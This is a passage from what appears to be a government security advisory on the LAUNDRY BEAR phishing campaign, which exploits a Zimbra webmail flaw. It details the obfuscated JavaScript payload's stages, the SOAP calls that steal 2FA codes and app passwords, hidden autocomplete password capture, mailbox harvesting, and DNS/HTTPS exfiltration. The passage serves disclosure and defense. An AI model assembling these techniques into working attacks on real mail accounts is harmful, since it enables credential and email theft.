<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
